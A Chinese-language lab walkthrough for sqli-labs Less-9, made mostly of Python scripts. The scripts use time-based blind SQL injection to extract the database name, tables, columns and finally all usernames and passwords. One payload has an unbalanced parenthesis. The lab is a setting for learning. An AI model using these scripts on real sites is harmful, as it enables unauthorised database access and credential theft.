SQL注入实例（sqli-labs/less-9）

0、初始页面

1、爆库名

使用python脚本

def inject_database1(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(),%d,1)) > %d ,sleep(2),0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 2:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database1(url)

2、爆表名

使用python脚本

def inject_database1(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1)) > %d ,sleep(1),0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database1(url)

3、爆列名

使用python脚本

def inject_database1(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1) > %d ,sleep(1),0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database1(url)

4、显示最终目的

使用python脚本

def inject_database1(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr((select group_concat(username,0x3a,password) from users),%d,1)) > %d ,sleep(1),0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)